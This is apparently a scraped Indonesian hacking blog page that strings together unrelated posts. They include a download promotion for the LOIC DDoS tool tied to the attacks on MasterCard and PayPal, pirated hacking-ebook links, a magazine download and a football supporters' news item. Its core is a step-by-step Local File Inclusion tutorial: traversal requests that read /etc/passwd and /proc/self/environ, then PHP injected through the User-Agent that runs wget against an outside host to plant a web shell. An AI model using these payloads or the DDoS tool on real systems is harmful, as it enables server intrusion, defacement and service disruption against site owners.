Low Orbit Ion Cannon - Tool DDOS Pendukung Wikileaks

Beberapa waktu yang yang lalu, Wikileaks dicekal oleh Amerika dan beberapa website seperti MasterCard dan PayPal menutup akses dana ke founder Wikileaks, akibatnya sebuah kelompok hacker 4chan melakukan serangan DDOS ke website yang menolak Wikilieaks, alhasil MasterCard sempat down. Mereka menggunakan tool DDOS yang dinamakan LOIC (Low Orbit Ion Cannon).
Download Low Orbit Ion Cannon
Jika tool ini tidak berjalan / tidak bisa di install, Download .net framework versi 4 dari 'Mikrocok'
Semoga berguna

Hacking With Cookies Information

idak selamanya password tidak bisa di crack/decrypt tidak bisa di deface
Ini adalah salah satu contoh login admin tanpa perlu mengcrack encrypt password

Courtesy of http://forum.binushacker.net/hacking/(video)-hacking-with-cookies-information/
ijoo | BH-IHC Moderator

Download Majalah PC - April 2011

Majalah PC - April 2011
English | 78 Pages | True PDF | 22.58 MB

 Download

Majalah PC - April 2011

Mirror

Majalah PC - April 2011

Attack LFI => /proc/self/environ

Salah satu cara Attacker(?penyusup?) dalam memasuki sebuah Server/Website.
adalah dengan LFI ( Local File Inclusion ).
Ciri Website dengan Vuln LFI adalah seperti berikut:

contoh : www.website.com/view.php?page=page1.php

Pertama kita coba dengan mengganti page1.php dengan ../

contoh: www.website.com/view.php?page=../

kira-kira akan terdapat error seperti ini:

Code:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/ijoo/public_html/website.com/view.php on line 1337

sekarang kita coba melihat /etc/passwd nya.. dengan menambahkan ../../etc/passwd

contoh: www.website.com/view.php?page=../../../etc/passwd

kita masih mendapatkan error yang sama tetapi yang kita request ( /etc/passwd ) tidak keluar.. :(

Code:

Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/ijoo/public_html/website.com/view.php on line 1337

kita test kembali dengan menambahkan ../ pada target website.com

contoh: www.website.com/view.php?page=../../../../../etc/passwd
yes sukses !!

Code:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

tambahkan ../../ sampe kira-kira seperlunya aja?

jgn terlalu panjang? kira-kira maximal 10x ..

Setelah itu kita Cek /proc/self/environ bisa diakses apa tidak?

dengan cara mengganti /etc/passwd dengan /proc/self/environ

contoh: www.website.com/view.php?page=../../../../../proc/self/environ

Kalo keluar seperti dibawah ini.. berarti /proc/self/environ bisa diakses?

Code:

DOCUMENT_ROOT=/home/ijoo/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=../../../../../../proc/self/environ REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=../../../../../../proc/self/Fenviron SCRIPT_FILENAME=/home/ijoo/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

Sekarang langkah berikutnya memasukan Code injection ( php-Shell Code )

Download Addon Mozilla Tamper Data untuk mempermudah

Dengan Tamper Data kita bisa mengubah User-Agent.Start di Firefox:

contoh: www.website.com/view.php?page=../../../../../proc/self/environ

Buka Tamper > start Tamper > ganti User-Agent filed dengan :

Code:

<?system('wget http://www.URL-SHELL-TEXT.com/shell/php-shell.txt -O shell.php');?>

atau

Code:

<?exec('wget http://r57.gen.tr/c100.txt -O shell.php');?>

Setelah itu coba buka

contoh: www.website.com/shell.php

Kalo shell kita terbuka... berarti sukses ^_^
Happy hacking...

Hacker Highschool Ebook

Welcome to the Hacker Highschool program! This program is designed to encourage you to
be well-rounded and resourceful. The core instruction theme is to harness the hacker curiosity
in you and to guide you progressively through your hacker education to help you grow into a
responsible role, capable of determining security and privacy problems and making proper
security decisions for yourself.
While there is a thrill to hacking partly because of the illegal nature of computer trespass, we
want to show you that it is just as big a thrill to alert others about lapses in security and make
them public without worrying about going to jail over it. As a citizen of most countries, it is not
only your right, but your responsibility, to report security and privacy leaks to the proper
authorities. You do this not because you can, but because many other people can't. You
are helping those who can't help themselves. This is what watchdog groups do. This is what
you will learn to do.
DOWNLOAD LINK

Hacking eBooks Collection CD 2009

Hacking eBooks Collection CD 2009
eBooks Collection | English | Format: PDF & CHM | 1CD | ISO | 391 MB

Full List:
1000 Hacker Tutorials 2008 ? Full Version
Ben Jackson, Champ Clark ? Asterisk Hacking
Big Book of Apple Hacks: Tips & Tools for unlocking the power of your Apple devices
Car PC Hacks by Damien Stolarz
Craig Schiller, Jim Binkley ? Botnets: The Killer Web Applications
Dangerous Google ? Searching for Secrets
Firefox Hacks by Nigel McFarlane
Hack Windows XP 2009
Hacking a Terror Network: The Silent Threat of Covert Channels
Hacking Exposed Windows : Microsoft Windows Security Secrets and Solutions
Hacking Exposed, Sixth Edition: Network Security SecretsAnd Solutions
Hacking into Computer Systems
Hacking the XBOX 360 For Noobs 2008 Edition
Hacking Ubuntu: Serious Hacks Mods and Customizations?
HAKING 2006 ISSUE 2 English Language
Information Security and Ethics: Concepts, Methodologies, Tools and Applications
Information Warfare: How to Survive Cyber Attacks
Joe Grand?s Best of Hardware, Wireless, & Game Console Hacking
Kris Kaspersky ?Hacker Debugging Uncovered?
Linux Firewalls
Mit Open Source-Tools Spam und Viren bek?mpfen: F?r Unix- und Linux-basierte Mailsysteme
Network Perimeter Security Building Defense In-Depth
No Tech Hacking: A Guide to Social Engineering, Dumpster Diving, and Shoulder Surfing
One Click Windows XP 100 Percent Genuine
PayPal Hacks (100 Industrial-Strength Tips & Tools)
PC Hacks 100 Industrial-Strength Tips & Tools By Jim Aspinwall
Perl Hacks Tips & Tools for Programming
Rootkits For Dummies 2007
Stealing the Network: How to Own the Box
Surviving Security: How to Integrate People, Process, and Technology, Second Edition
The Dark Side of the Internet: Protecting Yourself and Your Family from Online Criminals
The Database Hacker?s Handbook: Defending Database Servers
Thomas Vosseberg ?Hackerz Book?
Visual Studio Hacks: Tips & Tools for Turbocharging the IDE by James Avery
Wireless Hacks: 100 Industrial-Strength Tips & Tools
Download:
http://rapidshare.com/files/223536275/_www.dl4all.com_Hacking_eBooks_Collection_CD_2009_ag112.part1.rar
http://rapidshare.com/files/223536277/_www.dl4all.com_Hacking_eBooks_Collection_CD_2009_ag112.part2.rar
http://rapidshare.com/files/223538310/_www.dl4all.com_Hacking_eBooks_Collection_CD_2009_ag112.part3.rar
http://rapidshare.com/files/223536724/_www.dl4all.com_Hacking_eBooks_Collection_CD_2009_ag112.part4.rar
Setelah meng-unrar, Anda akan mendapatkan satu file [dot]iso.
Gunakan aplikasi seperti Ultra iso atau Power iso atau yang lain untuk membukanya?.

Hari ini, Pusamania Awali Tour Of Solo

Fanatisme yang menjadi modal Pusamania dalam memberikan dukungan kepada Persisam Putra Samarinda tak bisa diragukan lagi. Bahkan rencana kepindahan laga Persija v Persisam ke Solo tak membuat nyali mereka kendur, Rute tur yang seharusnya ditujukan ke ibukota beralih ke Solo, kota yang dulunya bernama Surakarta.

Pusamania saat bersama Jakmania, musim lalu, di depan Stadion Lebak Bulus Jakarta.

Pusamania di Bandara Sepinggan menunggu penerbangan ke Jakarta.

Tercatat 5 korwil sudah mengawali Tour Of Solo mulai hari ini. “Kami berangkat dengan teman-teman korwil lain, ada Pumpkinz, Garis Keras, Badboy, Tuan Muda dan Pelabuhan,” sahut Hendrik, Dirijen Pusamania yang terdapat dalam rombongan. Dan menurut kabar, rombongan lebih besar akan menyusul beberapa hari kedepan. Di Samarinda korwil terbesar Pusamania yaitu Pesut United hingga kini masih mengalang anggotanya yang ingin berangkat.
“Korwil Pesut hingga kini masih mengkoordinir anggotanya yang berangkat, yang saya tahu yang ingin tur membludak disana, tapi yang pasti saya sudah dapat kepastian dari Andong (Ketua Korwil Pesut) mereka akan datang jauh lebih banyak dari musim lalu,” ujar Hendrik.
Laga menghadapi Persija Jakarta memang menjadi agenda tur yang telah jauh hari disusun. Persija v Persisam sendiri akan digelar 23 April mendatang, di Stadion Manahan Solo. “Kami sudah telanjur membeli tiket Jakarta, makanya rute ke Solo kami putuskan naik kereta api dari Jakarta. Mungkin kami akan menginap semalam dulu di Jakarta, kebetulan JaKampus dan Jak Tanah Abang sudah menghubungi kami untuk menawarkan tempat bermalam,” jelas Hendrik.
Di Solo nantinya, Pusamania Jogja sudah menunggu kehadiran Pusamania dari Samarinda. Pasalnya, Pusamania Jogja yang memiliki puluhan anggota berjanji akan hadir di Solo mendukung perjuangan Persisam.